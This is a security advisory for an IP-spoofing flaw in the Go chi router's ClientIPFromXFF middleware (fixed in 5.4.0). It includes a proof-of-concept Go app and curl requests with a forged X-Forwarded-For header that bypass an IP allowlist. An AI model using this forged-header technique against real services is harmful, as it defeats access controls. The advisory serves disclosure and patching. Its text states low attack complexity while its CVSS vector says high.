---
id: CVE-2026-114437
aliases:
  - GHSA-j6qf-3m9c-vwj3
title: 'chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For'
summary: 'chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For'
severity: medium
cvss: 4.8
cvssVector: 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N'
vendor: go-chi
product: github.com/go-chi/chi/v5
ecosystem: go
affected:
  - github.com/go-chi/chi/v5 < 5.4.0
patched:
  - github.com/go-chi/chi/v5 5.4.0
published: '2026-10-23'
updated: '2026-10-23'
sourceUpdated: '2026-10-23T21:15:03.935320289Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-j6qf-3m9c-vwj3'
references:
  - url: 'https://github.com/go-chi/chi/security/advisories/GHSA-j6qf-3m9c-vwj3'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-114437'
  - url: 'https://github.com/go-chi/chi/pull/1214'
  - url: >-
      https://github.com/go-chi/chi/commit/7f9b7448f51d28804fac98c0a17bc2a7cec1079f
  - url: 'https://github.com/go-chi/chi'
  - url: 'https://github.com/go-chi/chi/releases/tag/v5.4.0'
  - url: 'https://www.tenable.com/security/research/tra-2026-66'
  - url: 'https://github.com/advisories/GHSA-j6qf-3m9c-vwj3'
tags:
  - osv
  - go
  - ghsa
  - cve.org
  - exploit-available
epss: 0.00129
epssPercentile: 0.02561
exploitAvailable: true
ssvc:
  exploitation: poc
  automatable: 'no'
  technicalImpact: partial
  timestamp: '2026-10-21T15:16:38.882767Z'
cwe:
  - CWE-345
  - CWE-348
ingestedAt: '2026-10-21T13:57:01.098Z'
---

## Overview

### Summary

`ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`.

The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).

**Preconditions:** The application uses `ClientIPFromXFF` and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.

1. Send `GET /admin` directly to the origin with no `X-Forwarded-For` header.
2. Observe a `403 Forbidden` response and an empty derived client IP.
3. Repeat the request with `X-Forwarded-For: 10.0.0.7, 198.51.100.42`.
4. Observe `200 OK` and `client-ip="10.0.0.7"`. Expected: the untrusted direct peer prevents the forwarding chain from being accepted.

### Details

The vulnerable code is `ClientIPFromXFF` in `middleware/client_ip.go`, lines 93-116 at the tested revision. It calls `walkXFF` with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:

```go
walkXFF(r.Header[xForwardedForHeader], func(v string) bool {
	ip, ok := parseHeaderAddr(v)
	if !ok {
		return true
	}
	if inAnyPrefix(ip, prefixes) {
		return false
	}
	found = ip
	return true
})
```

The function does not parse `r.RemoteAddr` before this walk. Consequently, the configured CIDRs identify trusted strings inside `X-Forwarded-For`, but do not establish that the immediate sender is one of those trusted proxies.

### Proof of concept

Using Go 1.24 or later, create and run this minimal application against the tested revision:

```sh
mkdir chi-clientip-poc
cd chi-clientip-poc
go mod init clientip-poc
go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1
cat > main.go <<'EOF'
package main

import (
	"fmt"
	"log"
	"net/http"

	"github.com/go-chi/chi/v5"
	"github.com/go-chi/chi/v5/middleware"
)

const allowedIP = "10.0.0.7"

func main() {
	r := chi.NewRouter()
	r.Use(middleware.ClientIPFromXFF("198.51.100.0/24"))
	r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
		clientIP := middleware.GetClientIP(r.Context())
		if clientIP != allowedIP {
			http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden)
			return
		}
		fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP)
	})

	log.Print("listening on http://127.0.0.1:3001")
	log.Fatal(http.ListenAndServe("127.0.0.1:3001", r))
}
EOF
go run .
```

The no-header control was rejected:

```console
$ curl --http1.1 -i http://127.0.0.1:3001/admin
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Tue, 06 Oct 2026 15:46:27 GMT
Content-Length: 48

denied: tcp-peer="127.0.0.1:54416" client-ip=""
```

Adding the forged chain authorized the same direct client:

```console
$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin
HTTP/1.1 200 OK
Date: Tue, 06 Oct 2026 15:46:33 GMT
Content-Length: 57
Content-Type: text/plain; charset=utf-8

allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7"
```

### Impact

I made an anonymous direct connection from `127.0.0.1`, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted `10.0.0.7`. This changed the authorization decision from `403 Forbidden` to `200 OK` for the protected handler.

## Affected packages

- `github.com/go-chi/chi/v5 < 5.4.0`

## Remediation

Upgrade to a patched release:

- `github.com/go-chi/chi/v5 5.4.0`